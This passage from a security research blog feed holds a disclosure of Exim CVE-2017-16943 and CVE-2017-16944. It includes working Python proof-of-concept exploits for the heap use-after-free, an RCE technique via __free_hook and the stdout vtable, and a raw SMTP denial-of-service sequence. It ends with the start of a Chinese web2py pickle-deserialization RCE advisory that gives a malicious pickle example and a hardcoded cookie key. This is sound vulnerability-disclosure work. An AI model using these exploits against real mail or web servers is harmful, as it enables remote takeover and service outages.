class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">synprot_error</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="kt">int</span> <span class="n">code</span><span class="p">,</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="n">uschar</span> <span class="o">*</span><span class="n">errmess</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">yield</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="n">log_write</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="n">LOG_MAIN</span><span class="p">,</span> <span class="s">"SMTP %s error in </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> %s %s"</span><span class="p">,</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">L_smtp_syntax_error</span><span class="p">)</span><span class="o">?</span> <span class="s">"syntax"</span> <span class="o">:</span> <span class="s">"protocol"</span><span class="p">,</span> <span class="n">string_printing</span><span class="p">(</span><span class="n">smtp_cmd_buffer</span><span class="p">),</span> <span class="n">host_and_ident</span><span class="p">(</span><span class="n">TRUE</span><span class="p">),</span> <span class="n">errmess</span><span class="p">);</span> </code></pre></div></div> <p>The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as <code class="language-plaintext highlighter-rouge">'\n'-&gt;'\\n'</code>. Therefore, it asks <code class="language-plaintext highlighter-rouge">store_get</code> for memory to store strings. This store makes <code class="language-plaintext highlighter-rouge">if (!store_extend(next-&gt;text, oldsize, header_size))</code> in <code class="language-plaintext highlighter-rouge">receive_msg</code> failed when next extension occurs and then triggers use-after-free.</p> <h3 id="exploitation">Exploitation</h3> <p>The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to <code class="language-plaintext highlighter-rouge">0xdeadbeef</code>. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when <strong>dkim</strong> is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools </span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="mi">25</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"EHLO test"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"250 HELP"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"MAIL FROM:&lt;[email protected]&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"RCPT TO:&lt;[email protected]&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'a'</span><span class="o">*</span><span class="mh">0x1250</span><span class="o">+</span><span class="s">'</span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'command'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'BDAT 1'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">':BDAT </span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span> <span class="n">s</span> <span class="o">=</span> <span class="s">'a'</span><span class="o">*</span><span class="mi">6</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mh">0x1e00</span><span class="o">/</span><span class="mi">8</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="o">+</span> <span class="s">':</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'command'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> </code></pre></div></div> <ol> <li>Running out of <code class="language-plaintext highlighter-rouge">current_block</code> In order to achieve code execution, we need to make the <code class="language-plaintext highlighter-rouge">next-&gt;text</code> get the first store of a block. That is, running out of <code class="language-plaintext highlighter-rouge">current_block</code> and making <code class="language-plaintext highlighter-rouge">store_get</code> allocate a new block. Therefore, we send a long message <code class="language-plaintext highlighter-rouge">'a'*0x1250+'\x7f'</code> with an unprintable character to cut <code class="language-plaintext highlighter-rouge">current_block</code>, making <code class="language-plaintext highlighter-rouge">yield_length</code> less than 0x100. <img src="/assets/img/blog/20171211/2.png" alt="" /></li> <li>Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, <code class="language-plaintext highlighter-rouge">next</code> and <code class="language-plaintext highlighter-rouge">next-&gt;text</code> are allocated by <code class="language-plaintext highlighter-rouge">store_get</code>. <img src="/assets/img/blog/20171211/3.png" alt="" /> The function <code class="language-plaintext highlighter-rouge">dkim_exim_verify_init</code> is called sequentially and it also calls <code class="language-plaintext highlighter-rouge">store_get</code>. Notice that this function uses <strong>ANOTHER <code class="language-plaintext highlighter-rouge">store_pool</code></strong>, so it allocates from heap without changing <code class="language-plaintext highlighter-rouge">current_block</code> which <code class="language-plaintext highlighter-rouge">next-&gt;text</code> also points to. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1734">receive.c: 1734 receive_msg</a> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">(</span><span class="n">smtp_input</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">smtp_batched_input</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">dkim_disable_verify</span><span class="p">)</span> <span class="n">dkim_exim_verify_init</span><span class="p">(</span><span class="n">chunking_state</span> <span class="o">&lt;=</span> <span class="n">CHUNKING_OFFERED</span><span class="p">);</span> </code></pre></div> </div> </li> <li>Call <code class="language-plaintext highlighter-rouge">store_getc</code> inside <code class="language-plaintext highlighter-rouge">bdat_getc</code> Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the <code class="language-plaintext highlighter-rouge">current_block</code> with <code class="language-plaintext highlighter-rouge">store_get</code> in <code class="language-plaintext highlighter-rouge">string_printing</code>. <img src="/assets/img/blog/20171211/4.png" alt="" /></li> <li>Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, <code class="language-plaintext highlighter-rouge">current_block</code> gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, <code class="language-plaintext highlighter-rouge">dkim_exim_verify_init</code> allocated chunks after <code class="language-plaintext highlighter-rouge">next-&gt;text</code>. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly <code class="language-plaintext highlighter-rouge">current_block-&gt;next</code>, and therefore <code class="language-plaintext highlighter-rouge">current_block-&gt;next</code> is overwritten to <code class="language-plaintext highlighter-rouge">unsorted bin</code> inside <code class="language-plaintext highlighter-rouge">main_arena</code> of libc (linked list pointer <code class="language-plaintext highlighter-rouge">fd</code> points back to <code class="language-plaintext highlighter-rouge">unsorted bin</code> if no other freed chunk exists). <img src="/assets/img/blog/20171211/5.png" alt="" /></li> <li>Keep sending msg for the next extension When the next extension occurs, <code class="language-plaintext highlighter-rouge">store_get</code> tries to cut from <code class="language-plaintext highlighter-rouge">main_arena</code>, which makes attackers able to overwrite all global variables below main_arena.</li> <li>Overwrite global variables in libc</li> <li>Finish sending message and trigger <code class="language-plaintext highlighter-rouge">free()</code> In the PoC, we simply modified <code class="language-plaintext highlighter-rouge">__free_hook</code> and ended the line. Exim calls <code class="language-plaintext highlighter-rouge">store_reset</code> to reset the buffer and calls <code class="language-plaintext highlighter-rouge">__free_hook</code> in <code class="language-plaintext highlighter-rouge">free()</code>. At this stage, we successfully controlled instruction pointer <code class="language-plaintext highlighter-rouge">$rip</code>. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both <code class="language-plaintext highlighter-rouge">__free_hook</code> and <code class="language-plaintext highlighter-rouge">_IO_2_1_stdout_</code>. We forged the vtable of <code class="language-plaintext highlighter-rouge">stdout</code> and set <code class="language-plaintext highlighter-rouge">__free_hook</code> to any call of <code class="language-plaintext highlighter-rouge">fflush(stdout)</code> inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both <code class="language-plaintext highlighter-rouge">$rip</code> and the content of first argument. We consulted past CVE exploits and decided to call <code class="language-plaintext highlighter-rouge">expand_string</code>, which executes command with <code class="language-plaintext highlighter-rouge">execv</code> if we set the first argument to <code class="language-plaintext highlighter-rouge">${run{cmd}}</code>, and finally we got our RCE. <img src="/assets/img/blog/20171211/6.png" alt="" /></li> </ol> <h4 id="exploit-for-default-configured-exim">Exploit for default configured exim</h4> <p>When dkim is disabled, the PoC above fails because <code class="language-plaintext highlighter-rouge">current_block</code> is the last chunk on heap. This makes the system merge it into a big chunk called <strong>top chunk</strong> rather than unsorted bin. The illustrations below describe the difference of heap layout: <img src="/assets/img/blog/20171211/8.png" alt="" /> <img src="/assets/img/blog/20171211/9.png" alt="" /></p> <p>To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.</p> <p>After running out of <code class="language-plaintext highlighter-rouge">current_block</code>:</p> <ol> <li>Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls <code class="language-plaintext highlighter-rouge">store_get</code> to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.</li> <li>End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared.</li> <li>Adjust <code class="language-plaintext highlighter-rouge">yield_length</code> again Send invalid command with an unprintable charater again to cut the <code class="language-plaintext highlighter-rouge">current_block</code>.</li> </ol> <p>Finally the heap layout is like: <img src="/assets/img/blog/20171211/10.png" alt="" /></p> <p>And now we can go back to the step 2 at the beginning and create the same situation. When <code class="language-plaintext highlighter-rouge">next-&gt;text</code> is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools </span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'localhost'</span><span class="p">,</span> <span class="mi">25</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"EHLO test"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"250 HELP"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"MAIL FROM:&lt;&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"RCPT TO:&lt;[email protected]&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'a'</span><span class="o">*</span><span class="mh">0x1280</span><span class="o">+</span><span class="s">'</span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'command'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'DATA'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'itself</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'b'</span><span class="o">*</span><span class="mh">0x4000</span><span class="o">+</span><span class="s">':</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'.</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'.</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"MAIL FROM:&lt;&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"RCPT TO:&lt;[email protected]&gt;"</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'a'</span><span class="o">*</span><span class="mh">0x3480</span><span class="o">+</span><span class="s">'</span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'command'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'BDAT 1'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">':BDAT </span><span class="se">\x7f</span><span class="s">'</span><span class="p">)</span> <span class="n">s</span> <span class="o">=</span> <span class="s">'a'</span><span class="o">*</span><span class="mi">6</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="mh">0x1e00</span><span class="o">/</span><span class="mi">8</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="o">+</span> <span class="s">':</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span> <span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> </code></pre></div></div> <p>A demo of our exploit is as below. <img src="/assets/img/blog/20171211/7-demo.png" alt="" /> Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.</p> <h1 id="incorrect-bdat-data-handling-leads-to-dos">Incorrect BDAT data handling leads to DoS</h1> <h3 id="vulnerability-analysis-1">Vulnerability Analysis</h3> <p>When receiving data with BDAT command, SMTP server should not consider a single dot <code class="language-plaintext highlighter-rouge">‘.’</code> in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800 EHLO test 250-devco.re Hello root at test 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 250-CHUNKING 250-STARTTLS 250-PRDR 250 HELP MAIL FROM:&lt;[email protected]&gt; 250 OK RCPT TO:&lt;[email protected]&gt; 250 Accepted BDAT 10 . 250- 10 byte chunk, total 0 250 OK id=1eJFGW-000CB0-1R </code></pre></div></div> <p>As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer <code class="language-plaintext highlighter-rouge">receive_getc</code> is not reset. If the next command is also a BDAT, <code class="language-plaintext highlighter-rouge">receive_getc</code> and <code class="language-plaintext highlighter-rouge">lwr_receive_getc</code> become the same and an infinite loop occurs inside <code class="language-plaintext highlighter-rouge">bdat_getc</code>. Program crashes due to stack exhaustion. <a href="https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L546">smtp_in.c: 546 bdat_getc</a></p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> if (chunking_data_left &gt; 0) return lwr_receive_getc(chunking_data_left--); </code></pre></div></div> <p>This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># CVE-2017-16944 PoC by meh at DEVCORE EHLO localhost MAIL FROM:&lt;[email protected]&gt; RCPT TO:&lt;[email protected]&gt; BDAT 100 . MAIL FROM:&lt;[email protected]&gt; RCPT TO:&lt;[email protected]&gt; BDAT 0 LAST </code></pre></div></div> <p>This makes attackers able to launch a resource based DoS attack and then force the whole server down.</p> <h2 id="fix">Fix</h2> <ul> <li>Turn off Chunking option in config file: <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chunking_advertise_hosts = </code></pre></div> </div> </li> <li>Update to 4.89.1 version</li> <li>Patch of CVE-2017-16943 released <a href="https://git.exim.org/exim.git/commitdiff/4090d62a4b25782129cc1643596dc2f6e8f63bde">here</a></li> <li>Patch of CVE-2017-16944 released <a href="https://git.exim.org/exim.git/commitdiff/178ecb70987f024f0e775d87c2f8b2cf587dd542">here</a></li> </ul> <h2 id="timeline">Timeline</h2> <ul> <li>23 November, 2017 09:40 Report to Exim Bugzilla</li> <li>25 November, 2017 16:27 CVE-2017-16943 Patch released</li> <li>28 November, 2017 16:27 CVE-2017-16944 Patch released</li> <li>3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now</li> </ul> <h4 id="remarks">Remarks</h4> <p>While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.</p> <h2 id="credits">Credits</h2> <p>Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re</p> <h2 id="reference">Reference</h2> <p>https://bugs.exim.org/show_bug.cgi?id=2199 https://bugs.exim.org/show_bug.cgi?id=2201 https://nvd.nist.gov/vuln/detail/CVE-2017-16943 https://nvd.nist.gov/vuln/detail/CVE-2017-16944 https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html</p> https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/ https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en Mon, 11 Dec 2017 00:00:00 +0800 WEB2PY 反序列化的安全問題-CVE-2016-3957 <h3 id="前言">前言</h3> <p>在一次滲透測試的過程中,我們遇到了用 web2py 框架建構的應用程式。為了成功滲透目標,我們研究了 web2py,發現該框架範例應用程式中存在三個資訊洩漏問題,這些洩漏都會導致遠端命令執行 (RCE)。由於範例應用程式預設是開啟的,若沒有手動關閉,攻擊者可以直接利用洩漏資訊取得系統執行權限。這些問題編號分別為:CVE-2016-3952、CVE-2016-3953、CVE-2016-3954、CVE-2016-3957。</p> <!-- more --> <h3 id="背景老生常談的-pickle-code-execution">背景-老生常談的 Pickle Code Execution</h3> <p>在繼續說明前必須要先認知什麼是反序列化的安全問題?反序列化的安全問題在本質上其實是物件注入,它的嚴重性取決於所注入的物件本身是否會造成危險行為,例如讀寫檔。一般來說要透過反序列化建構一個成功的攻擊有兩個要點:</p> <ul> <li>是否可控制目標所要反序列化的字串。</li> <li>危險行為在反序列化後是否會被執行。這在實務上大概有下面兩種情形: <ul> <li>危險行為是寫在魔法方法 (Magic Method) 裡面,例如 PHP 的 __construct 在物件生成時一定會執行。</li> <li>反序列化後覆蓋既有物件,導致正常程式流程出現危險結果。</li> </ul> </li> </ul> <p>反序列化的問題在每個程式語言都會發生,但通常需要搭配看程式碼拼湊出可以用的攻擊流程,比較難利用。不過,某些實作序列化的函式庫會將程式邏輯也序列化成字串,因此攻擊者可以自定義物件直接使用,不再需要拼湊,例如今天要提的 Python Pickle。</p> <p>直接舉個 Pickle 的例子如下,我們製造了一個會執行系統指令 <code class="language-plaintext highlighter-rouge">echo success</code> 的物件 <code class="language-plaintext highlighter-rouge">Malicious</code>,並且序列化成字串 <code class="language-plaintext highlighter-rouge">"cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."</code>。當受害者反序列化這個字串,即觸發執行該系統指令,因此印出 <code class="language-plaintext highlighter-rouge">success</code>。</p> <figure class="highlight"><pre><code class="language-py" data-lang="py"><span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">os</span> <span class="o">&gt;&gt;&gt;</span> <span class="kn">import</span> <span class="nn">cPickle</span> <span class="o">&gt;&gt;&gt;</span> <span class="k">class</span> <span class="nc">Malicious</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> <span class="p">...</span> <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> <span class="p">...</span> <span class="k">return</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,(</span><span class="s">"echo success"</span><span class="p">,))</span> <span class="p">...</span> <span class="o">&gt;&gt;&gt;</span> <span class="n">serialize</span> <span class="o">=</span> <span class="n">cPickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">Malicious</span><span class="p">())</span> <span class="o">&gt;&gt;&gt;</span> <span class="n">serialize</span> <span class="s">"cposix</span><span class="se">\n</span><span class="s">system</span><span class="se">\n</span><span class="s">p1</span><span class="se">\n</span><span class="s">(S'echo success'</span><span class="se">\n</span><span class="s">p2</span><span class="se">\n</span><span class="s">tp3</span><span class="se">\n</span><span class="s">Rp4</span><span class="se">\n</span><span class="s">."</span> <span class="o">&gt;&gt;&gt;</span> <span class="n">cPickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">serialize</span><span class="p">)</span> <span class="n">success</span> <span class="mi">0</span></code></pre></figure> <p>這就是 Pickle 誤用反序列化所造成的命令執行風險。攻擊者很容易可以產生一個含有任意命令執行的序列化字串,進而讓受害者在進行反序列化的過程中觸發執行惡意命令。</p> <h3 id="反序列化--序列化字串可控">反序列化 + 序列化字串可控</h3> <p>本次發現的問題主要來自 web2py 本身的 session cookie 使用 Pickle 處理序列化需求 (CVE-2016-3957),而且因為 session cookie 的加密字串固定 (CVE-2016-3953),攻擊者可任意偽造惡意的序列化字串造成前面所介紹的命令執行風險。細節如下。</p> <h4 id="cve-2016-3957">CVE-2016-3957<sup id="fnref:note1" role="doc-noteref"><a href="#fn:note1" class="footnote" rel="footnote">1</a></sup></h4> <p>web2py 的應用程式如果使用 cookie 來儲存 session 資訊,那麼在每次接到使用者請求時會將 session cookie 用一個 secure_loads 函式將 cookie 內容讀入。 [<a href="https://github.com/web2py/web2py/blob/R-2.14.1/gluon/globals.py#L846">Ref</a>]</p> <div class="highlight-name">gluon/globals.py#L846</div> <figure class="highlight"><pre><code class="language-py" data-lang="py"> <span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">session_storage_type</span> <span class="o">==</span> <span class="s">'cookie'</span><span class="p">:</span> <span class="c1"># check if there is session data in cookies </span> <span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">session_data_name</span> <span class="ow">in</span> <span class="n">cookies</span><span class="p">:</span> <span class="n">session_cookie_data</span> <span class="o">=</span> <span class="n">cookies</span><span class="p">[</span><span class="n">response</span><span class="p">.</span><span class="n">session_data_name</span><span class="p">].</span><span class="n">value</span> <span class="k">else</span><span class="p">:</span> <span class="n">session_cookie_data</span> <span class="o">=</span> <span class="bp">None</span> <span class="k">if</span> <span class="n">session_cookie_data</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">secure_loads</span><span class="p">(</span><span class="n">session_cookie_data</span><span class="p">,</span> <span class="n">cookie_key</span><span class="p">,</span> <span class="n">compression_level</span><span class="o">=</span><span class="n">compression_level</span><span class="p">)</span> <span class="k">if</span> <span class="n">data</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="n">response</span><span class="p">.</span><span class="n">session_id</span> <span class="o">=</span> <span class="bp">True</span> </code></pre></figure> <p>secure_loads 函式內容如下,在一連串解密後會用 pickle.loads 方法將解密內容反序列化,在這裡確定 cookie 內容會使用 Pickle 處理。[<a href="https://github.com/web2py/web2py/blob/R-2.14.1/gluon/utils.py#L200">Ref</a>]</p> <div class="highlight-name">gluon/utils.py#L200</div> <figure class="highlight"><pre><code class="language-py" data-lang="py"><span class="k">def</span> <span class="nf">secure_loads</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">encryption_key</span><span class="p">,</span> <span class="n">hash_key</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">compression_level</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> <span class="k">if</span> <span class="s">':'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span> <span class="k">return</span> <span class="bp">None</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">hash_key</span><span class="p">:</span> <span class="n">hash_key</span> <span class="o">=</span> <span class="n">sha1</span><span class="p">(</span><span class="n">encryption_key</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">signature</span><span class="p">,</span> <span class="n">encrypted_data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="n">actual_signature</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">hash_key</span><span class="p">,</span> <span class="n">encrypted_data</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">compare</span><span class="p">(</span><span class="n">signature</span><span class="p">,</span> <span class="n">actual_signature</span><span class="p">):</span> <span class="k">return</span> <span class="bp">None</span> <span class="n">key</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">encryption_key</span><span class="p">[:</span><span class="mi">32</span><span class="p">])</span> <span class="n">encrypted_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">encrypted_data</span><span class="p">)</span> <span class="n">IV</span><span class="p">,</span> <span class="n">encrypted_data</span> <span class="o">=</span> <span class="n">encrypted_data</span><span class="p">[:</span><span class="mi">16</span><span class="p">],</span> <span class="n">encrypted_data</span><span class="p">[</span><span class="mi">16</span><span class="p">:]</span> <span class="n">cipher</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">AES_new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">IV</span><span class="o">=</span><span class="n">IV</span><span class="p">)</span> <span class="k">try</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted_data</span><span class="p">)</span> <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s">' '</span><span class="p">)</span> <span class="k">if</span> <span class="n">compression_level</span><span class="p">:</span> <span class="n">data</span> <span class="o">=</span> <span class="n">zlib</span><span class="p">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="k">return</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="c1"># &lt;-- Bingo!!! </span> <span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="k">return</span> <span class="bp">None</span></code></pre></figure> <p>因此,如果知道連線中用以加密 cookie 內容的 encryption_key,攻擊者就可以偽造 session cookie,進而利用 pickle.loads 進行遠端命令執行。</p> <h4 id="cve-2016-3953">CVE-2016-3953</h4> <p>很幸運的,我們發現 web2py 預設開啟的範例應用程式是使用 session cookie,並且有一個寫死的密鑰:<code class="language-plaintext highlighter-rouge">yoursecret</code>。[<a href="https://github.com/web2py/web2py/blob/R-2.14.1/applications/examples/models/session.py">Ref</a>]</p> <div class="highlight-name">applications/examples/models/session.py</div> <figure class="highlight"><pre><code class="language-py" data-lang="py"><span class="n">session</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">request</span><span class="p">,</span><span class="n">response</span><span class="p">,</span><span class="n">cookie_key</span><span 